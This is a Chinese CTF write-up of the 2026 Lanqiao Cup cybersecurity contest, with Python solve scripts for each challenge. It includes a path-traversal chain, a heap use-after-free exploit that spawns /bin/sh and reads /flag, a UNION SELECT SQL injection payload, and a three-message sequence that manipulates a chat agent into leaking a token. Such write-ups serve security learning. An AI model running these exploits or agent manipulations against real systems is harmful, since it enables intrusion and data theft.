2026年第十七届蓝桥杯网络安全赛项WriteUp

news2026/4/27 12:05:45
解题情况比赛还剩一小时左右时截图题型情报收集题目名map_tracer查看js源码得到信息访问/app.js可以得到app.js.map文件用记事本打开可以得到关键信息接口/api/trace/internal/list签名值trace_dev_2026签名算法function buildSignature(path, ts) { return md5(${path}${ts}${SIGN_SALT}); }整体思路就是确定签名拼接规则与固定盐值,使用 Python 获取当前时间戳按照规则拼接字符串并进行MD5加密生成合法 sign拼接带ts、sign参数的请求URL发送 GET请求访问目标接口解析返回JSON提取remark字段内容对Base64字符串解码输出拿到FLAGimport time import hashlib import base64 import requests INTERNAL_ENDPOINT /api/trace/internal/list SIGN_SALT trace_dev_2026 URL IP:端口 # 生成签名 def buildSignature(path, ts): raw_str f{path}{ts}{SIGN_SALT} return hashlib.md5(raw_str.encode()).hexdigest() def main(): # 获取当前时间戳 ts str(int(time.time())) # 生成合法签名 sign buildSignature(INTERNAL_ENDPOINT, ts) # 拼接请求URL target_url f{URL}{INTERNAL_ENDPOINT}?ts{ts}sign{sign} try: # 发送GET请求 res requests.get(target_url, timeout10) res.raise_for_status() # 解析JSON响应 data res.json() # 提取base64加密的flag b64_flag data[tracks][0][remark] # base64解码得到真实flag real_flag base64.b64decode(b64_flag).decode() print([] FLAG:, real_flag) except Exception as e: print([-] 错误:, e) if __name__ __main__: main()FLAG值动态题型数据分析题目名wal_recover将app.db-wal文件放到随波逐流里得到ZmxhZ3tkNGZi]进行base64解码是一部分的flag用记事本再打开该文件搜索flag头在哪个位置可以看到还有其他的base64编码观察到flag头的时间是最早的就可以根据时间对这些base64进行拼接再解码得到ZmxhZ3tkNGZiZTdkNy04YWY4LTQ1MjMtOTgzZi01ODA1NTA2ZGIyNmV9解码得到flagflag{d4fbe7d7-8af8-4523-983f-5805506db26e}题目名drift_oracle根据txt文件给了提示对csv文件中的监测序列拟合一条线性趋势并扣除得到残差从280号样本后观察残差会发现异常点周期性出现周期为3将这些周期异常点按照正负、高低残差还原成bit前16bit解析0000000000101010 42说明payload长度是42字节继续读取后续 42 * 8 336 bit按8bit一组转ASCII即可得到flag#!/usr/bin/env python3 import csv import string CSV monitor.csv START_HINT 280 PERIOD 3 # read data xs, ys [], [] with open(CSV, newline) as f: for row in csv.DictReader(f): xs.append(float(row[idx])) ys.append(float(row[value])) n len(xs) # linear calibration: y a*x b sx sum(xs) sy sum(ys) sxx sum(x * x for x in xs) sxy sum(x * y for x, y in zip(xs, ys)) a (n * sxy - sx * sy) / (n * sxx - sx * sx) b (sy - a * sx) / n res [y - (a * x b) for x, y in zip(xs, ys)] # find anomaly phase modulo PERIOD after sample 280 best_phase None best_score -1 for phase in range(PERIOD): vals [ abs(res[i]) for i in range(len(res)) if i START_HINT and i % PERIOD phase ] vals.sort(reverseTrue) score sum(vals[:80]) / 80 if score best_score: best_score score best_phase phase idxs [i for i in range(len(res)) if i START_HINT and i % PERIOD best_phase] def bits_to_bytes(bits): out [] for i in range(0, len(bits), 8): byte bits[i:i8] if len(byte) 8: break out.append(int(.join(map(str, byte)), 2)) return bytes(out) def printable(bs): return all(chr(c) in string.printable for c in bs) for invert in [False, True]: bits [] for i in idxs: bit 1 if res[i] 0 else 0 if invert: bit ^ 1 bits.append(bit) length int(.join(map(str, bits[:16])), 2) # big endian payload_bits bits[16:16 length * 8] payload bits_to_bytes(payload_bits) if length 0 and printable(payload): print([] phase:, best_phase) print([] invert:, invert) print([] length:, length) print([] payload:, payload.decode(errorsignore))FLAG值flag{a91b0bbf-e6fd-42dd-b9a6-5ef4f2bc695f}题型密码破解题目名seed_receipt先根据生成脚本复现随机数流程再用receipt里的时间戳、订单号和密文反推出明文flag依据是generator.py的掩码由ts ^ order_id种子生成且会先消耗6位校验码随机数receipt.txt给出了对应参数和密文。import random ts 1715071200 order_id 2024042701 cipher bytes.fromhex( 246a346dc207c5508810015b1a727ca2050e17490903ae3f91988ac56020c90e4e937d9240c03a2e723a ) seed ts ^ order_id random.seed(seed) # 先消耗 6 次 randint(0, 9)对应 build_check_code check_code .join(str(random.randint(0, 9)) for _ in range(6)) print(check_code , check_code) # 再生成 mask 解密 mask bytes(random.randint(0, 255) for _ in range(len(cipher))) flag bytes(c ^ m for c, m in zip(cipher, mask)) print(flag.decode())FLAG值flag{44ba9b4f-b616-4d2f-b0f1-44a144b79b6e}题目名double_sign连接容器观察题目参数两组签名r一致判定存在ECDSA随机数k重用漏洞。利用过程对两条已知消息做SHA256哈希转换为大整数 z1、z2同时计算目标管理员消息哈希利用两组s值与哈希值通过代数公式消去私钥推导出随机数的模逆代入公式计算出目标消息的合法签名分量import hashlib n 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 z1 35803318665405666032048798908400774075259419311739592886871963585749689690594 z2 39793284188129639924973014131124626058788493396861207842790576967009843273958 s1 50299823274630071383103819756925571651617257809878759631948693535171140512049 s2 55520076861554262741677107652353499562906081920501068121345625361837220482936 r 58206291912047493001270768302978838281743794200134829962960013685718525623357 target_msg broleadminactionread_flag z_target int.from_bytes(hashlib.sha256(target_msg).digest(), big) def inv(a, m): return pow(a, -1, m) k_inv ((s1 - s2) * inv((z1 - z2) % n, n)) % n s_target (s1 k_inv * (z_target - z1)) % n s_target % n # Ensure 0 s n if s_target 0: s_target 1 print(fr {r}) print(fs {s_target}) print()得到r和s输入到容器上即可得到flagFLAG值动态题目名faulty_stamp先根据给出的task.py判断故障签名的攻击面再用output.txt的参数恢复私钥并解密cipherfrom math import gcd n 4376391623420422090093125321247193997606178746835986896757980039875406307457754575765912346918411063231436257346706147995337640299058377914239903698206529 e 65537 s_good 1215462546937178480989928955032329371876376937587696844835636102409613045816885299683930703380803778980920223250158896812933428862730662189869680440962991 s_fault 3528092528175974455947733812329818046193185775378825376160301555808018696615021261487903570154559785404162102106766399756539357297019413781923298085052060 cipher 2893682879964766743522320790449865549540632243943763005715261841817782270701768093468232119779163352459853082410444548419721052039891196401139541267716111 p gcd(s_good - s_fault, n) q n // p phi (p-1)*(q-1) d pow(e, -1, phi) plain_int pow(cipher, d, n) hex_str hex(plain_int)[2:] flag bytes.fromhex(hex_str).decode(ascii) print(*50) print([] 解密得到的十进制数字, plain_int) print([] 转换16进制, hex_str) print(\n[] FLAG是 flag ) print(*50)FLAG值flag{6148be08-c5ad-4dd8-9878-27894628e8cc}题型逆向分析题目名veil_gate通过panel.dat中TPK2后的 4 字节密文与固定值5aa56c3d逐字节异或解密得到关键参数seed0x26、key20x5f、key_len0x10、flag_len0x2638 位核心算法为 rol8 循环移位 S 盒替换 多段异或 / 加法 位置置换逆向算法即可还原 flagfrom pathlib import Path def rol8(x, n): n 7 return ((x n) | (x (8 - n))) 0xff p Path(panel.dat).read_bytes() hdr bytes(a ^ b for a, b in zip(p[4:8], bytes.fromhex(5aa56c3d))) seed, k2, key_len, flag_len hdr A p[8:32] B p[32:160] C p[160:288] D p[288:352] T p[352:416] key [] x seed for i, v in enumerate(A): key.append((((i 3) * 7 0x33) ^ (v ^ x)) 0xff) x (x 0xb) 0xff sbox [0] * 256 for i in range(128): sbox[2 * i] B[i] ^ key[i % key_len] sbox[2 * i 1] C[i] ^ key[(i 5) % key_len] inv [0] * 256 for i, v in enumerate(sbox): inv[v] i stream [] for i in range(64): stream.append((D[i] ^ ((i 0x5d) 0xff) ^ key[(3 * i 1) % key_len]) 0xff) n flag_len tmp [0] * n edi int.from_bytes(hdr[:2], little) edi ((edi 8) | (edi 8)) 0xffff r8 3 r9 1 for i in range(n): cl T[i] idx (edi i stream[i]) % key_len want (cl - rol8(edi 0xff, i) - i) 0xff tmp[i] inv[want] ^ key[idx] edi (edi * 0x83) 0xffffffff edi ^ stream[r8 % n] r8 7 edi (key[r9 % key_len] ((cl ^ edi) 0xffffffff)) 0xffffffff r9 5 used [0] * 64 for i in range(n): used[stream[i] % n] 1 flag [0] * n for i in range(n): t tmp[i] if not used[i]: t ^ (k2 i) 0xff pos stream[i] % n v ((t - rol8(seed, i)) 0xff) ^ key[(pos i) % key_len] if i % 2 0: v rol8(v, 4) flag[pos] v print(bytes(flag).decode())FLAG值flag{9d7a228ca5825bc15cd60bee0bb6d585}题型漏洞挖掘分析题目名path_slip1.目录别名绕过服务器目录配置存在缺陷常规../路径穿越被拦截使用/assets../meta/可跨目录访问同级/meta资源2.获取基础参数访问/assets/readme.txt从响应头X-Mirror-Rail提取参数spacecards、截取范围window6:18会话持久化保留sidCookie3.动态文件枚举固定标签knock、dance、salt、route、echo文件名算法sha256(sid|label|cards).hexdigest()[6:18] .txt拼接绕过路径批量读取 meta 目录下加密卡片文件4.特殊请求获取凭证向/oracle发送HEAD请求携带请求头X-Knock: hush响应头获取X-Trace。5.Slot 换位处理截取X-Trace前 8 位两两字符交换拼接得到 slot 值。6.Token 哈希计算加密规则sha256(sid.X-Trace.slip_route_v3).hexdigest()[:16]7.最终链路拿 Flag访问/stage/{slot}/pose?tokenxxx获取响应头X-Ticket-Hint携带 Hint 请求/vault/{slot}/pass?tokenxxx最终获取 Flagimport hashlib import requests import re import warnings warnings.filterwarnings(ignore) # 关闭SSL警告 URL IP:端口 # 会话保持Cookie s requests.Session() s.verify False # 1. 获取sid s.get(URL) # 2. 读取readme提取space和window resp s.get(URL /assets/readme.txt) rail resp.headers.get(X-Mirror-Rail) match re.search(rspace([^;]);window(\d):(\d), rail) space, start, end match[1], int(match[2]), int(match[3]) sid s.cookies[sid] # 3. 读取5张卡片 labels [knock, dance, salt, route, echo] for label in labels: data f{sid}|{label}|{space} fname hashlib.sha256(data.encode()).hexdigest()[start:end] .txt s.get(URL f/assets../meta/{fname}) # 4. HEAD请求/oracle获取X-Trace req requests.Request(HEAD, URL /oracle, headers{X-Knock: hush}) trace s.send(s.prepare_request(req)).headers.get(X-Trace) # 5. 前8位两两交换得到slot tb list(trace[:8]) for i in range(0,8,2): tb[i], tb[i1] tb[i1], tb[i] slot .join(tb) # 6. 计算token token_raw f{sid}.{trace}.slip_route_v3 token hashlib.sha256(token_raw.encode()).hexdigest()[:16] # 7. 获取ticket hint hint s.get(URL f/stage/{slot}/pose?token{token}).headers.get(X-Ticket-Hint) # 8. 拿flag flag s.get(URL f/vault/{slot}/pass?token{token}, headers{X-Ticket-Hint: hint}).text print([] Flag:, flag)FLAG值动态题目名note_heap这是一道UAF的堆题根据main函数可以看到主动泄露了地址printf(debug slot: %p\n, ops); printf(ops chunk: %p\n, ops);保护全开根据关键泄露程序启动直接打印 ops 结构体地址利用思路触发 UAF 篡改 fastbin 的 fd 指针指向 ops-0x10 伪造堆块重新申请堆块分配到 ops 结构体通过 show 读取 ops 中 free 地址计算 libc 基址和 system 地址覆盖 ops 中函数指针为 system传入 /bin/sh 触发执行getshell 读 flag#!/usr/bin/env python3 from pwn import * HOST IP PORT 端口 FREE_OFF 0x97910 SYSTEM_OFF 0x4f420 context.binary ./note_heap context.arch amd64 context.log_level info io remote(HOST, PORT) io.recvuntil(bdebug slot: ) debug_slot int(io.recvline().strip(), 16) io.recvuntil(bops chunk: ) ops int(io.recvline().strip(), 16) io.recvuntil(b ) log.success(fdebug_slot {hex(debug_slot)}) log.success(fops {hex(ops)}) sizes {} ptrs {} def add(idx, size, data): sizes[idx] size io.sendline(b1) io.recvuntil(bidx: ) io.sendline(str(idx).encode()) io.recvuntil(bsize: ) io.sendline(str(size).encode()) ptr int(io.recvline().strip().split(b: )[1], 16) ptrs[idx] ptr io.recvuntil(bdata: ) io.send(data) io.recvuntil(b ) return ptr def edit(idx, data): io.sendline(b2) io.recvuntil(bidx: ) io.sendline(str(idx).encode()) io.recvuntil(bdata: ) io.send(data) io.recvuntil(b ) def show(idx): io.sendline(b3) io.recvuntil(bidx: ) io.sendline(str(idx).encode()) data io.recvn(sizes[idx]) io.recvn(1) io.recvuntil(b ) return data def delete(idx): io.sendline(b4) io.recvuntil(bidx: ) io.sendline(str(idx).encode()) io.recvuntil(bdone\n) io.recvuntil(b ) def trigger(idx): io.sendline(b4) io.recvuntil(bidx: ) io.sendline(str(idx).encode()) victim add(0, 0x68, bA*8) log.info(fvictim {hex(victim)}) delete(0) edit(0, p64(ops - 0x10)) add(1, 0x68, bB*8) fake add(2, 0x68, bZ*8) log.success(ffake {hex(fake)}) leak show(2) free_leak u64(leak[0x18:0x20]) libc_base free_leak - FREE_OFF system libc_base SYSTEM_OFF log.success(ffree_leak {hex(free_leak)}) log.success(flibc_base {hex(libc_base)}) log.success(fsystem {hex(system)}) edit(2, bA*0x10 p64(0) p64(system)) add(3, 0x20, b/bin/sh\x00) trigger(3) io.sendline(bid; cat /flag 2/dev/null; cat /root/flag 2/dev/null; echo DONE) print(io.recvuntil(bDONE, timeout3).decode(latin-1, ignore)) io.interactive()FLAG值动态题型数据库安全题目名report_archive思路就是提交联合查询注入 Payload读取系统配置表 system_kv 数据触发后台生成报表任务等待任务完成下载 CSV 格式报表从报表数据中正则匹配提取 flag方法利用 UNION SELECT 绕过原查询直接查询存储敏感信息的系统配置表将结果写入报表#!/usr/bin/env python3 import csv import io import re import sys import time import requests import urllib3 # 关闭SSL不安全请求警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 目标地址 TARGET_URL FLAG_PATTERN re.compile(r(?:flag)\{.*?\}, re.I) # 保存注入规则 def save_rule(session, rule): res session.post(f{TARGET_URL}/report/save, data{rule: rule}, timeout(5, 10)) res.raise_for_status() return res.json()[rule_id] # 提交生成报表任务 def run_report(session): res session.post(f{TARGET_URL}/report/run, timeout(5, 10)) res.raise_for_status() return res.json()[job_id] # 等待任务执行完成 def wait_job(session, job_id, max_times20, wait_time0.7): for _ in range(max_times): time.sleep(wait_time) res session.get(f{TARGET_URL}/report/status, params{id: job_id}, timeout(5, 10)) res.raise_for_status() data res.json() status data.get(status) if status ready: return data[export_id] # 任务完成返回文件ID if status failed: raise RuntimeError(f任务执行失败{job_id}) raise TimeoutError(任务超时) # 下载CSV报表文件 def download_csv(session, export_id): res session.get(f{TARGET_URL}/report/download, params{id: export_id}, timeout(5, 10)) res.raise_for_status() return res.text # 解析CSV内容 def parse_csv(csv_content): reader csv.DictReader(io.StringIO(csv_content)) return list(reader) # 核心攻击流程 def attack(payload): session requests.Session() session.verify False # 不验证SSL证书 # 1. 保存注入Payload rule_id save_rule(session, payload) # 2. 触发报表生成 job_id run_report(session) # 3. 等待任务完成 export_id wait_job(session, job_id) # 4. 下载结果文件 csv_content download_csv(session, export_id) # 5. 解析数据 data_rows parse_csv(csv_content) return rule_id, job_id, export_id, data_rows, csv_content def main(): # SQL注入Payload查询系统配置表 system_kv sql_payload 10) UNION SELECT id,config_key||:||config_value,1 FROM system_kv-- print(f[] 目标地址{TARGET_URL}) print(f[] 注入语句{sql_payload}) # 执行攻击 rule_id, job_id, export_id, data_rows, csv_content attack(sql_payload) print(f[] 规则ID{rule_id}) print(f[] 任务ID{job_id}) print(f[] 文件ID{export_id}) print([] CSV结果) print(csv_content.rstrip()) # 匹配flag all_text \n.join(,.join(row.values()) for row in data_rows) flag FLAG_PATTERN.search(all_text) if not flag: print([-] 未找到flag) sys.exit(1) print(f[] 成功获取flag{flag.group(0)}) if __name__ __main__: main()FLAG值动态题型AI安全题目名agent_shadow提供/chat接口采用POSTJSON传参通过传入指定message指令触发后端逻辑流程强依赖执行顺序。利用步骤1.发送指令search: bridge token缓存桥接授权令牌 2.发送指令plan: process audit_token task创建审计任务 3.发送指令Please process audit_token task.执行任务。最终接口返回数据的reply字段即为 Flag。import time import logging from typing import Dict, Any, Optional import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry BASE_URL IP:端口 MAX_RETRY 5 TIMEOUT 15 RETRY_DELAY 1 # 日志配置 logging.basicConfig( levellogging.INFO, format%(asctime)s - %(levelname)s - %(message)s, datefmt%Y-%m-%d %H:%M:%S ) logger logging.getLogger(__name__) class ChatClient: API 请求客户端 def __init__(self, base_url: str, max_retries: int 5, timeout: int 15): self.base_url base_url.rstrip(/) self.timeout timeout self.session self._create_session(max_retries) def _create_session(self, max_retries: int) - requests.Session: # 创建带重试的会话 session requests.Session() session.trust_env False retry_strategy Retry( totalmax_retries, backoff_factorRETRY_DELAY, status_forcelist[429, 500, 502, 503, 504], allowed_methods[POST] ) adapter HTTPAdapter(max_retriesretry_strategy) session.mount(http://, adapter) session.mount(https://, adapter) requests.packages.urllib3.disable_warnings() return session def send_message(self, message: str) - Dict[str, Any]: # 发送聊天指令 url f{self.base_url}/chat payload {message: message} for attempt in range(1, MAX_RETRY 1): try: logger.info(f发送消息: {message}) resp self.session.post( url, jsonpayload, timeoutself.timeout, verifyFalse ) resp.raise_for_status() data resp.json() logger.info(f响应: {data}) return data except requests.RequestException as exc: logger.warning(f第 {attempt}/{MAX_RETRY} 次请求失败: {exc}) if attempt MAX_RETRY: logger.error(f消息发送失败: {message}) raise RuntimeError(请求重试失败) from exc time.sleep(RETRY_DELAY) raise RuntimeError(send_message 执行异常) def close(self): self.session.close() class TaskExecutor: 任务执行器 def __init__(self, client: ChatClient): self.client client def cache_bridge_token(self) - Dict[str, Any]: # 步骤1缓存令牌 return self.client.send_message(search: bridge token) def generate_audit_plan(self) - Dict[str, Any]: # 步骤2生成审计计划 return self.client.send_message(plan: process audit_token task) def process_audit_task(self) - Optional[str]: # 步骤3执行任务获取FLAG res self.client.send_message(Please process audit_token task.) return res.get(reply, 未获取到FLAG) def main() - None: logger.info(开始获取FLAG...) try: client ChatClient(BASE_URL, MAX_RETRY, TIMEOUT) executor TaskExecutor(client) logger.info(步骤1缓存令牌) executor.cache_bridge_token() logger.info(步骤2生成审计计划) executor.generate_audit_plan() logger.info(步骤3执行审计任务) flag executor.process_audit_task() logger.info( * 50) logger.info(f成功获取FLAG: {flag}) logger.info( * 50) except Exception as exc: logger.error(f任务失败: {exc}, exc_infoTrue) raise finally: if client in locals(): client.close() logger.info(会话已关闭) if __name__ __main__: main()FLAG值动态

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2559408.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…